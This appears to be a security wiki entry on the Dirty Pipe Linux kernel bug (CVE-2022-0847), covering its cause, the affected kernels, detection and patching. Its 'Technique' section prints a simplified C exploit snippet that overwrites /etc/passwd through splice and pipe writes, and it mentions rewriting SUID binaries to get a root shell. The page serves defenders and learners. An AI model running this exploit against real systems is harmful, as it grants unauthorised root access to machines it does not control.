Dirty Pipe (CVE-2022-0847)
TL;DR: An uninitialized
pipe_buffer.flagsfield lets any local user overwrite bytes in any read-only page-cache page, including SUID binaries and/etc/passwd, with no race window.
What it is
Max Kellermann disclosed this Linux kernel bug in March 2022 after chasing corrupted gzip downloads on a customer’s log server. The root cause is that copy_page_to_iter_pipe() and push_pipe() allocate a new pipe_buffer without clearing ->flags, so a stale PIPE_BUF_FLAG_CAN_MERGE from a previous splice survives. When the next write() to that pipe lands, the kernel treats it as appendable to the previously-spliced page — which can be a read-only page-cache page belonging to a file the attacker only has read access to. The result is a deterministic, no-crash write primitive against arbitrary file contents from any user with read access.
Preconditions / where it applies
- Linux 5.8 through 5.16.10 / 5.15.25 / 5.10.102 (fixed in 5.16.11, backported)
- Any local UID with read access to the target file — including read-only
/etc/passwd,/usr/bin/sudo, or container image layers - Works inside unprivileged containers because no namespace boundary is crossed
- Cannot extend a file or change its size; can only rewrite bytes within an existing page boundary other than the very first byte of a page
Technique
The exploit splices one byte of a target file into a pipe to seed the stale flag, then writes attacker-controlled data to the pipe. The kernel merges the write into the read-only page-cache page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int p[2]; pipe(p);
// 1. Fill pipe so every buffer gets PIPE_BUF_FLAG_CAN_MERGE set
for (unsigned i = 0; i < PIPE_SIZE / PAGE_SIZE; i++) {
write(p[1], "X", 1);
}
char tmp[PIPE_SIZE];
read(p[0], tmp, sizeof tmp); // drain — flags persist on freed bufs
// 2. Splice 1 byte from the victim file at offset just before our write
int fd = open("/etc/passwd", O_RDONLY);
loff_t off = target_offset - 1;
splice(fd, &off, p[1], NULL, 1, 0);
// 3. Write payload; kernel appends into the spliced page-cache page
write(p[1], "root::0:0:r00t:/root:/bin/bash\n...", payload_len);
Typical end-to-end attacks rewrite /usr/bin/su or a SUID helper to drop a root shell, or splice /etc/passwd to remove root’s password hash. No race retries are needed — one pass succeeds.
Detection and defence
- Patch to 5.16.11 / 5.15.25 / 5.10.102 or any distro kernel released after 2022-03-07
- No sysctl mitigates the bug; only the kernel patch does
- auditd: watch
splice(2)+write(2)sequences against pipes where the source fd is a non-writable file followed by mutation of SUID binaries (-w /usr/bin/su -p wa) - File integrity monitors (AIDE, Tripwire, IMA appraisal) catch the post-write state; the bug bypasses DAC, not IMA signatures
- Read-only bind-mounts of
/etcand SUID binaries do not help — the page cache is what gets dirtied - eBPF detectors can flag
vmsplice/splicefrom a low-privileged task targeting SUID inodes
References
- CVE-2022-0847 — NVD — official record
- Max Kellermann — The Dirty Pipe Vulnerability — discoverer write-up
- Linux kernel patch f6dd975583bd — the one-line fix
See also: kernel-exploits-linux, linux-privesc-vectors, container-escape-techniques.